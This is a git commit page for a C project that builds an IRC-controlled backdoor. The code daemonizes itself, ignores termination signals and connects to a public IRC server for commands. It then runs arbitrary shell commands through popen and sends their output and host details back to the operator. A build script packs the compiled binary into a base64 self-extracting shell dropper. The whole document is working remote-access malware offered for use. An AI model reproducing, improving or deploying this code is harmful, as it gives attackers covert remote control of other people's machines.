first
This commit is contained in:
commit
c174752597
5
build.sh
Executable file
5
build.sh
Executable file
@ -0,0 +1,5 @@
|
||||
CFLAGS="-s -Os -pedantic -Wall -Wextra"
|
||||
|
||||
rm main
|
||||
|
||||
cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain
|
3
gen_script.sh
Executable file
3
gen_script.sh
Executable file
@ -0,0 +1,3 @@
|
||||
#!/bin/sh
|
||||
./build.sh
|
||||
echo \#\!"/bin/sh" > script.sh && cat main | base64 | xargs -I % echo f+=\" % \" | tr -d " " >> script.sh && echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh && chmod +x script.sh
|
10
include/backdoor.h
Normal file
10
include/backdoor.h
Normal file
@ -0,0 +1,10 @@
|
||||
#ifndef _BACKDOOR_H
|
||||
#define _BACKDOOR_H
|
||||
#include "irc.h"
|
||||
|
||||
#define COMMON_BUF_SIZE 200
|
||||
|
||||
void backdoor_offline(void);
|
||||
void parse_cmd(IRCC_client *client);
|
||||
|
||||
#endif
|
13
include/cfg.h
Normal file
13
include/cfg.h
Normal file
@ -0,0 +1,13 @@
|
||||
typedef struct {
|
||||
int use_ssl;
|
||||
char *ip;
|
||||
int port;
|
||||
|
||||
char *pre_cmd;
|
||||
char *channel;
|
||||
char *channel_key;
|
||||
} SERVER;
|
||||
|
||||
SERVER servers[] = {
|
||||
{1, "irc.rizon.net", 6697, NULL, "#channel", NULL}
|
||||
};
|
65
include/irc.h
Normal file
65
include/irc.h
Normal file
@ -0,0 +1,65 @@
|
||||
/*
|
||||
LICENSE: WTFPL
|
||||
Simple library for working with ipv4 irc servers
|
||||
Dont support:
|
||||
ddc
|
||||
ipv6
|
||||
motd
|
||||
*/
|
||||
|
||||
#ifndef _IRCC_H
|
||||
#define _IRCC_H
|
||||
|
||||
#define IRCC_MSG_MAX 512
|
||||
#define IRCC_PING_TIMEOUT 600
|
||||
|
||||
#ifdef ENABLE_SSL
|
||||
#include <openssl/ssl.h>
|
||||
#endif
|
||||
|
||||
enum {
|
||||
IRCC_NICK = 1,
|
||||
IRCC_PRIVMSG,
|
||||
IRCC_JOIN,
|
||||
IRCC_QUIT,
|
||||
IRCC_PING,
|
||||
IRCC_TOPIC,
|
||||
IRCC_MODE,
|
||||
|
||||
IRCC_CONNECTED,
|
||||
IRCC_DISCONNECTED,
|
||||
IRCC_ERROR,
|
||||
IRCC_SUCCESS
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
int irc_socket;
|
||||
|
||||
char irc_raw[IRCC_MSG_MAX + 1];
|
||||
char *irc_msg;
|
||||
char *irc_channel;
|
||||
char *irc_nick;
|
||||
|
||||
#ifdef ENABLE_SSL
|
||||
int irc_usingssl;
|
||||
|
||||
SSL_METHOD *irc_sslmethod;
|
||||
SSL_CTX *irc_sslctx;
|
||||
SSL *irc_ssl;
|
||||
#endif
|
||||
} IRCC_client;
|
||||
|
||||
int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port);
|
||||
int IRCC_recv(IRCC_client *irc);
|
||||
int IRCC_parse(IRCC_client *irc);
|
||||
int IRCC_join(IRCC_client *irc, const char *channel, const char *key);
|
||||
int IRCC_send(IRCC_client *irc, const char *channel, const char *msg);
|
||||
int IRCC_register(IRCC_client *irc, const char *nickname);
|
||||
int IRCC_initssl(IRCC_client *irc);
|
||||
void IRCC_close(IRCC_client *irc);
|
||||
|
||||
//u - mean universal. Functions uses internal fields in structure
|
||||
int IRCC_usend(IRCC_client *irc, off_t bytes);
|
||||
int IRCC_urecv(IRCC_client *irc);
|
||||
|
||||
#endif
|
76
src/backdoor.c
Normal file
76
src/backdoor.c
Normal file
@ -0,0 +1,76 @@
|
||||
#include <unistd.h>
|
||||
#include <sys/utsname.h>
|
||||
#include "backdoor.h"
|
||||
#include "irc.h"
|
||||
|
||||
static FILE *fp;
|
||||
|
||||
void backdoor_offline(void) {
|
||||
sleep(60);
|
||||
}
|
||||
|
||||
void send_info(IRCC_client *client, const char *buf) {
|
||||
char *nick = strdup(client->irc_nick);
|
||||
if (nick == NULL)
|
||||
return;
|
||||
|
||||
IRCC_send(client, nick, buf);
|
||||
free(nick);
|
||||
}
|
||||
|
||||
void parse_cmd(IRCC_client *client) {
|
||||
if (!strncmp(client->irc_msg, "!exit", 5)) {
|
||||
IRCC_close(client);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
else if (!strncmp(client->irc_msg, "!cd", 3))
|
||||
chdir(client->irc_msg + 4);
|
||||
|
||||
else if (!strncmp(client->irc_msg, "!uname", 6)) {
|
||||
struct utsname uts;
|
||||
if (uname(&uts) < 0)
|
||||
return;
|
||||
|
||||
char buf[COMMON_BUF_SIZE + 1];
|
||||
snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename);
|
||||
|
||||
send_info(client, buf);
|
||||
}
|
||||
|
||||
/* Shell */
|
||||
else if (!strncmp(client->irc_msg, "!exec", 5)) {
|
||||
if (fp != NULL)
|
||||
pclose(fp);
|
||||
|
||||
fp = popen(client->irc_msg + 5, "wr");
|
||||
}
|
||||
|
||||
else if (!strncmp(client->irc_msg, "!print", 5)) {
|
||||
if (fp == NULL)
|
||||
return;
|
||||
|
||||
char buf[COMMON_BUF_SIZE + 1];
|
||||
if (fgets(buf, sizeof(buf), fp) == NULL) {
|
||||
pclose(fp);
|
||||
fp = NULL;
|
||||
}
|
||||
|
||||
send_info(client, buf);
|
||||
}
|
||||
|
||||
else if (!strncmp(client->irc_msg, "!write", 5)) {
|
||||
if (fp == NULL)
|
||||
return;
|
||||
|
||||
fputs(client->irc_msg + 5, fp);
|
||||
}
|
||||
|
||||
else if (!strncmp(client->irc_msg, "!close", 5)) {
|
||||
if (fp == NULL)
|
||||
return;
|
||||
|
||||
pclose(fp);
|
||||
fp = NULL;
|
||||
}
|
||||
}
|
237
src/irc.c
Normal file
237
src/irc.c
Normal file
@ -0,0 +1,237 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <netdb.h>
|
||||
#include <sys/time.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include "irc.h"
|
||||
|
||||
int IRCC_urecv(IRCC_client *irc) {
|
||||
#ifdef ENABLE_SSL
|
||||
if (irc->irc_usingssl)
|
||||
return SSL_read(irc->irc_ssl, irc->irc_raw, sizeof(irc->irc_raw));
|
||||
#endif
|
||||
|
||||
return recv(irc->irc_socket, irc->irc_raw, sizeof(irc->irc_raw), 0);
|
||||
}
|
||||
|
||||
int IRCC_usend(IRCC_client *irc, off_t bytes) {
|
||||
#ifdef ENABLE_SSL
|
||||
if (irc->irc_usingssl)
|
||||
return SSL_write(irc->irc_ssl, irc->irc_raw, bytes);
|
||||
#endif
|
||||
|
||||
return send(irc->irc_socket, irc->irc_raw, bytes, 0);
|
||||
}
|
||||
|
||||
int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port) {
|
||||
struct hostent *hp = gethostbyname(ip);
|
||||
if (!hp)
|
||||
return IRCC_ERROR;
|
||||
|
||||
//Only ipv4
|
||||
struct sockaddr_in client_str;
|
||||
memset(&client_str, 0, sizeof(client_str));
|
||||
client_str.sin_family = AF_INET;
|
||||
client_str.sin_port = htons(port);
|
||||
client_str.sin_addr.s_addr = inet_addr(inet_ntoa(*(struct in_addr *)hp->h_addr));
|
||||
|
||||
irc->irc_socket = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (irc->irc_socket < 0)
|
||||
return IRCC_ERROR;
|
||||
|
||||
struct timeval tv = {IRCC_PING_TIMEOUT, 0};
|
||||
if (setsockopt(irc->irc_socket, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0)
|
||||
return IRCC_ERROR;
|
||||
|
||||
int status = connect(irc->irc_socket, (struct sockaddr *)&client_str, sizeof(client_str));
|
||||
if (status == -1)
|
||||
return IRCC_ERROR;
|
||||
|
||||
return IRCC_SUCCESS;
|
||||
}
|
||||
|
||||
void IRCC_parse_msg(char *tmp, IRCC_client *irc) {
|
||||
irc->irc_raw[strcspn(irc->irc_raw, "\r\n")] = '\0';
|
||||
|
||||
if (tmp != NULL) {
|
||||
//Message
|
||||
char *val = strchr(tmp, ':');
|
||||
if (val != NULL) {
|
||||
val[0] = '\0';
|
||||
irc->irc_msg = val + 1;
|
||||
|
||||
//Del space before :
|
||||
*(val - 1) = '\0';
|
||||
}
|
||||
|
||||
//Channel
|
||||
val = strchr(tmp, ' ');
|
||||
if (val != NULL) {
|
||||
val[0] = '\0';
|
||||
irc->irc_channel = val + 1;
|
||||
}
|
||||
|
||||
//Nickname
|
||||
val = strchr(irc->irc_raw, '!');
|
||||
if (val != NULL) {
|
||||
val[0] = '\0';
|
||||
irc->irc_nick = irc->irc_raw + 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int IRCC_recv(IRCC_client *irc) {
|
||||
memset(irc->irc_raw, '\0', IRCC_MSG_MAX);
|
||||
|
||||
int msg_size = IRCC_urecv(irc);
|
||||
if (msg_size == 0 || msg_size == -1)
|
||||
return IRCC_DISCONNECTED;
|
||||
|
||||
else if (!strncmp(irc->irc_raw, "PING", 4)) {
|
||||
*(strchr(irc->irc_raw, 'I')) = 'O';
|
||||
if (IRCC_usend(irc, strlen(irc->irc_raw)) == -1)
|
||||
return IRCC_ERROR;
|
||||
|
||||
return IRCC_PING;
|
||||
}
|
||||
|
||||
return IRCC_SUCCESS;
|
||||
}
|
||||
|
||||
int IRCC_parse(IRCC_client *irc) {
|
||||
irc->irc_channel = NULL;
|
||||
irc->irc_msg = NULL;
|
||||
irc->irc_nick = NULL;
|
||||
|
||||
//Check end of motd
|
||||
if (strstr(irc->irc_raw, "PRIVMSG ") == NULL && strstr(irc->irc_raw, "MOTD"))
|
||||
return IRCC_CONNECTED;
|
||||
|
||||
//Other
|
||||
else if (strstr(irc->irc_raw, "PRIVMSG ")) {
|
||||
IRCC_parse_msg(strstr(irc->irc_raw, "PRIVMSG "), irc);
|
||||
return IRCC_PRIVMSG;
|
||||
}
|
||||
|
||||
else if (strstr(irc->irc_raw, "NICK ")) {
|
||||
IRCC_parse_msg(strstr(irc->irc_raw, "NICK "), irc);
|
||||
return IRCC_NICK;
|
||||
}
|
||||
|
||||
else if (strstr(irc->irc_raw, "TOPIC ")) {
|
||||
IRCC_parse_msg(strstr(irc->irc_raw, "TOPIC "), irc);
|
||||
return IRCC_TOPIC;
|
||||
}
|
||||
|
||||
else if (strstr(irc->irc_raw, "MODE ")) {
|
||||
IRCC_parse_msg(strstr(irc->irc_raw, "MODE "), irc);
|
||||
return IRCC_MODE;
|
||||
}
|
||||
|
||||
else if (strstr(irc->irc_raw, "JOIN ")) {
|
||||
IRCC_parse_msg(strstr(irc->irc_raw, "JOIN "), irc);
|
||||
return IRCC_JOIN;
|
||||
}
|
||||
|
||||
else if (strstr(irc->irc_raw, "PART ") || strstr(irc->irc_raw, "QUIT ")) {
|
||||
IRCC_parse_msg(strstr(irc->irc_raw, "PART "), irc);
|
||||
IRCC_parse_msg(strstr(irc->irc_raw, "QUIT "), irc);
|
||||
return IRCC_QUIT;
|
||||
}
|
||||
|
||||
return IRCC_SUCCESS;
|
||||
}
|
||||
|
||||
int IRCC_register(IRCC_client *irc, const char *nickname) {
|
||||
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "NICK %s\r\n", nickname);
|
||||
if (IRCC_usend(irc, bytes) == -1)
|
||||
return IRCC_ERROR;
|
||||
|
||||
bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "USER %s 0 localhost :%s\r\n", nickname, nickname);
|
||||
if (IRCC_usend(irc, bytes) == -1)
|
||||
return IRCC_ERROR;
|
||||
|
||||
//Motd skip
|
||||
while (1) {
|
||||
int status = IRCC_recv(irc);
|
||||
if (status == IRCC_DISCONNECTED)
|
||||
return IRCC_DISCONNECTED;
|
||||
|
||||
status = IRCC_parse(irc);
|
||||
if (status == IRCC_CONNECTED)
|
||||
break;
|
||||
}
|
||||
|
||||
return IRCC_SUCCESS;
|
||||
}
|
||||
|
||||
int IRCC_join(IRCC_client *irc, const char *channel, const char *key) {
|
||||
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "JOIN %s %s\r\n", channel, (key) ? key : "");
|
||||
if (IRCC_usend(irc, bytes) == -1)
|
||||
return IRCC_ERROR;
|
||||
|
||||
return IRCC_SUCCESS;
|
||||
}
|
||||
|
||||
int IRCC_send(IRCC_client *irc, const char *channel, const char *msg) {
|
||||
off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "PRIVMSG %s :%s\r\n", channel, msg);
|
||||
if (IRCC_usend(irc, bytes) == -1)
|
||||
return IRCC_ERROR;
|
||||
|
||||
return IRCC_SUCCESS;
|
||||
|
||||
}
|
||||
|
||||
int IRCC_initssl(IRCC_client *irc) {
|
||||
#ifdef ENABLE_SSL
|
||||
irc->irc_ssl = NULL;
|
||||
irc->irc_sslctx = NULL;
|
||||
irc->irc_sslmethod = NULL;
|
||||
|
||||
OpenSSL_add_all_algorithms();
|
||||
|
||||
if (SSL_library_init() < 0)
|
||||
return IRCC_ERROR;
|
||||
|
||||
irc->irc_sslmethod = (SSL_METHOD *)SSLv23_client_method();
|
||||
irc->irc_sslctx = SSL_CTX_new(irc->irc_sslmethod);
|
||||
if (irc->irc_sslctx == NULL)
|
||||
return IRCC_ERROR;
|
||||
|
||||
SSL_CTX_set_options(irc->irc_sslctx, SSL_OP_NO_SSLv2);
|
||||
irc->irc_ssl = SSL_new(irc->irc_sslctx);
|
||||
|
||||
SSL_set_fd(irc->irc_ssl, irc->irc_socket);
|
||||
if (SSL_connect(irc->irc_ssl) != 1)
|
||||
return IRCC_ERROR;
|
||||
|
||||
irc->irc_usingssl = 1;
|
||||
|
||||
#else
|
||||
(void)irc;
|
||||
#endif
|
||||
|
||||
return IRCC_SUCCESS;
|
||||
}
|
||||
|
||||
void IRCC_close(IRCC_client *irc) {
|
||||
close(irc->irc_socket);
|
||||
irc->irc_msg = irc->irc_nick = irc->irc_channel = NULL;
|
||||
|
||||
#ifdef ENABLE_SSL
|
||||
if (!irc->irc_usingssl)
|
||||
return;
|
||||
|
||||
if (irc->irc_ssl != NULL) {
|
||||
SSL_shutdown(irc->irc_ssl);
|
||||
SSL_free(irc->irc_ssl);
|
||||
}
|
||||
|
||||
if (irc->irc_sslctx != NULL)
|
||||
SSL_CTX_free(irc->irc_sslctx);
|
||||
#endif
|
||||
}
|
78
src/main.c
Normal file
78
src/main.c
Normal file
@ -0,0 +1,78 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
#include "backdoor.h"
|
||||
#include "irc.h"
|
||||
#include "cfg.h"
|
||||
|
||||
char *randnick(size_t len) {
|
||||
char a[] = "asdfghjklzxcvbnmqwertyuiopASDFGHJKLZXCVBNMQWERTYUIOP";
|
||||
char *str = malloc(len + 1);
|
||||
if (str == NULL)
|
||||
return NULL;
|
||||
|
||||
for (size_t i = 0; i < len; i++)
|
||||
str[i] = a[rand() % sizeof(a)];
|
||||
|
||||
str[len] = '\0';
|
||||
return str;
|
||||
}
|
||||
|
||||
int start(void) {
|
||||
SERVER rand_serv = servers[rand() % (sizeof(SERVER) / sizeof(servers))];
|
||||
|
||||
static IRCC_client client;
|
||||
int status = IRCC_connect(&client, rand_serv.ip, rand_serv.port);
|
||||
if (status == IRCC_ERROR)
|
||||
return 1;
|
||||
|
||||
if (rand_serv.use_ssl)
|
||||
if (IRCC_initssl(&client) == IRCC_ERROR)
|
||||
return 1;
|
||||
|
||||
char *nick = randnick(15);
|
||||
if (nick == NULL)
|
||||
return 0;
|
||||
|
||||
if (IRCC_register(&client, nick) == IRCC_DISCONNECTED) {
|
||||
free(nick);
|
||||
return 1;
|
||||
}
|
||||
|
||||
free(nick);
|
||||
|
||||
if (IRCC_join(&client, rand_serv.channel, rand_serv.channel_key) == IRCC_ERROR)
|
||||
return 0;
|
||||
|
||||
while (1) {
|
||||
int irc_status = IRCC_recv(&client);
|
||||
if (irc_status == IRCC_DISCONNECTED)
|
||||
return 1;
|
||||
|
||||
irc_status = IRCC_parse(&client);
|
||||
if (irc_status == IRCC_PRIVMSG && client.irc_nick != NULL && client.irc_msg != NULL && client.irc_channel != NULL)
|
||||
parse_cmd(&client);
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
daemon(0, 0);
|
||||
|
||||
if (fork() == 0) {
|
||||
daemon(0, 0);
|
||||
signal(SIGINT, SIG_IGN);
|
||||
signal(SIGTERM, SIG_IGN);
|
||||
signal(SIGKILL, SIG_IGN);
|
||||
|
||||
srand(getpid());
|
||||
chdir(getenv("HOME"));
|
||||
while (1)
|
||||
if (start())
|
||||
backdoor_offline();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
Loading…
Reference in New Issue
Block a user